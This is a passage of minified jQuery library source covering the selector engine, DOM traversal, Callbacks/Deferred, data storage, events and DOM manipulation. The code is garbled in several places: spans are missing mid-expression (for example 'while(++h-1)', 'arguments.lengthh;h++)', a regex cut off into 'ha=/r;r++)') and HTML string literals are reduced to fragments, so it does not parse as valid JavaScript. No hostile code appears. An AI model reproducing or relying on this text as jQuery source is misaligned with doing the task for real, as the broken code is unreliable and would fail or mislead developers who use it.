l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}if(f=d.getElementById(e[2]),f&&f.parentNode){if(f.id!==e[2])return A.find(a);this.length=1,this[0]=f}return this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||(e=n.uniqueSort(e)),D.test(a)&&(e=e.reverse())),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=!0,c||j.disable(),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.addEventListener?(d.removeEventListener("DOMContentLoaded",K),a.removeEventListener("load",K)):(d.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(d.addEventListener||"load"===a.event.type||"complete"===d.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll)a.setTimeout(n.ready);else if(d.addEventListener)d.addEventListener("DOMContentLoaded",K),a.addEventListener("load",K);else{d.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&d.documentElement}catch(e){}c&&c.doScroll&&!function f(){if(!n.isReady){try{c.doScroll("left")}catch(b){return a.setTimeout(f,50)}J(),n.ready()}}()}return I.promise(b)},n.ready.promise();var L;for(L in n(l))break;l.ownFirst="0"===L,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c,e;c=d.getElementsByTagName("body")[0],c&&c.style&&(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",l.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(e))}),function(){var a=d.createElement("div");l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}a=null}();var M=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b},N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0; +}return c}function Q(a){var b;for(b in a)if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function R(a,b,d,e){if(M(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),"object"!=typeof b&&"function"!=typeof b||(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(M(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=void 0)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},Z=/^(?:checkbox|radio)$/i,$=/<([\w:-]+)/,_=/^$|\/(?:java|ecma)script/i,aa=/^\s+/,ba="abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video";function ca(a){var b=ba.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}!function(){var a=d.createElement("div"),b=d.createDocumentFragment(),c=d.createElement("input");a.innerHTML="
a",l.leadingWhitespace=3===a.firstChild.nodeType,l.tbody=!a.getElementsByTagName("tbody").length,l.htmlSerialize=!!a.getElementsByTagName("link").length,l.html5Clone="<:nav>"!==d.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,b.appendChild(c),l.appendChecked=c.checked,a.innerHTML="",l.noCloneChecked=!!a.cloneNode(!0).lastChild.defaultValue,b.appendChild(a),c=d.createElement("input"),c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),a.appendChild(c),l.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!!a.addEventListener,a[n.expando]=1,l.attributes=!a.getAttribute(n.expando)}();var da={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:l.htmlSerialize?[0,"",""]:[1,"X
","
"]};da.optgroup=da.option,da.tbody=da.tfoot=da.colgroup=da.caption=da.thead,da.th=da.td;function ea(a,b){var c,d,e=0,f="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,ea(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function fa(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}var ga=/<|&#?\w+;/,ha=/r;r++)if(g=a[r],g||0===g)if("object"===n.type(g))n.merge(q,g.nodeType?[g]:g);else if(ga.test(g)){i=i||p.appendChild(b.createElement("div")),j=($.exec(g)||["",""])[1].toLowerCase(),m=da[j]||da._default,i.innerHTML=m[1]+n.htmlPrefilter(g)+m[2],f=m[0];while(f--)i=i.lastChild;if(!l.leadingWhitespace&&aa.test(g)&&q.push(b.createTextNode(aa.exec(g)[0])),!l.tbody){g="table"!==j||ha.test(g)?""!==m[1]||ha.test(g)?0:i:i.firstChild,f=g&&g.childNodes.length;while(f--)n.nodeName(k=g.childNodes[f],"tbody")&&!k.childNodes.length&&g.removeChild(k)}n.merge(q,i.childNodes),i.textContent="";while(i.firstChild)i.removeChild(i.firstChild);i=p.lastChild}else q.push(b.createTextNode(g));i&&p.removeChild(i),l.appendChecked||n.grep(ea(q,"input"),ia),r=0;while(g=q[r++])if(d&&n.inArray(g,d)>-1)e&&e.push(g);else if(h=n.contains(g.ownerDocument,g),i=ea(p.appendChild(g),"script"),h&&fa(i),c){f=0;while(g=i[f++])_.test(g.type||"")&&c.push(g)}return i=null,p}!function(){var b,c,e=d.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(l[b]=c in a)||(e.setAttribute(c,"t"),l[b]=e.attributes[c].expando===!1);e=null}();var ka=/^(?:input|select|textarea)$/i,la=/^key/,ma=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,na=/^(?:focusinfocus|focusoutblur)$/,oa=/^([^.]*)(?:\.(.+)|)/;function pa(){return!0}function qa(){return!1}function ra(){try{return d.activeElement}catch(a){}}function sa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)sa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=qa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return"undefined"==typeof n||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(G)||[""],h=b.length;while(h--)f=oa.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=oa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,e,f){var g,h,i,j,l,m,o,p=[e||d],q=k.call(b,"type")?b.type:b,r=k.call(b,"namespace")?b.namespace.split("."):[];if(i=m=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!na.test(q+n.event.triggered)&&(q.indexOf(".")>-1&&(r=q.split("."),q=r.shift(),r.sort()),h=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=r.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:n.makeArray(c,[b]),l=n.event.special[q]||{},f||!l.trigger||l.trigger.apply(e,c)!==!1)){if(!f&&!l.noBubble&&!n.isWindow(e)){for(j=l.delegateType||q,na.test(j+q)||(i=i.parentNode);i;i=i.parentNode)p.push(i),m=i;m===(e.ownerDocument||d)&&p.push(m.defaultView||m.parentWindow||a)}o=0;while((i=p[o++])&&!b.isPropagationStopped())b.type=o>1?j:l.bindType||q,g=(n._data(i,"events")||{})[b.type]&&n._data(i,"handle"),g&&g.apply(i,c),g=h&&i[h],g&&g.apply&&M(i)&&(b.result=g.apply(i,c),b.result===!1&&b.preventDefault());if(b.type=q,!f&&!b.isDefaultPrevented()&&(!l._default||l._default.apply(p.pop(),c)===!1)&&M(e)&&h&&e[q]&&!n.isWindow(e)){m=e[h],m&&(e[h]=null),n.event.triggered=q;try{e[q]()}catch(s){}n.event.triggered=void 0,m&&(e[h]=m)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]","i"),va=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,wa=/\s*$/g,Aa=ca(d),Ba=Aa.appendChild(d.createElement("div"));function Ca(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function Da(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function Ea(a){var b=ya.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Ga(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(Da(b).text=a.text,Ea(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&Z.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}}function Ha(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&xa.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(o&&(k=ja(b,a[0].ownerDocument,!1,a,d),e=k.firstChild,1===k.childNodes.length&&(k=e),e||d)){for(i=n.map(ea(k,"script"),Da),h=i.length;o>m;m++)g=k,m!==p&&(g=n.clone(g,!0,!0),h&&n.merge(i,ea(g,"script"))),c.call(a[m],g,m);if(h)for(j=i[i.length-1].ownerDocument,n.map(i,Ea),m=0;h>m;m++)g=i[m],_.test(g.type||"")&&!n._data(g,"globalEval")&&n.contains(j,g)&&(g.src?n._evalUrl&&n._evalUrl(g.src):n.globalEval((g.text||g.textContent||g.innerHTML||"").replace(za,"")));k=e=null}return a}function Ia(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(ea(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&fa(ea(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(va,"<$1>")},clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!ua.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(Ba.innerHTML=a.outerHTML,Ba.removeChild(f=Ba.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=ea(f),h=ea(a),g=0;null!=(e=h[g]);++g)d[g]&&Ga(e,d[g]);if(b)if(c)for(h=h||ea(a),d=d||ea(f),g=0;null!=(e=h[g]);g++)Fa(e,d[g]);else Fa(a,f);return d=ea(f,"script"),d.length>0&&fa(d,!i&&ea(a,"script")),d=h=e=null,f},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.attributes,m=n.event.special;null!=(d=a[h]);h++)if((b||M(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k||"undefined"==typeof d.removeAttribute?d[i]=void 0:d.removeAttribute(i),c.push(f))}}}),n.fn.extend({domManip:Ha,detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return Y(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||d).createTextNode(a))},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(ea(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return Y(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(ta,""):void 0;if("string"==typeof a&&!wa.test(a)&&(l.htmlSerialize||!ua.test(a))&&(l.leadingWhitespace||!aa.test(a))&&!da[($.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ea(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var 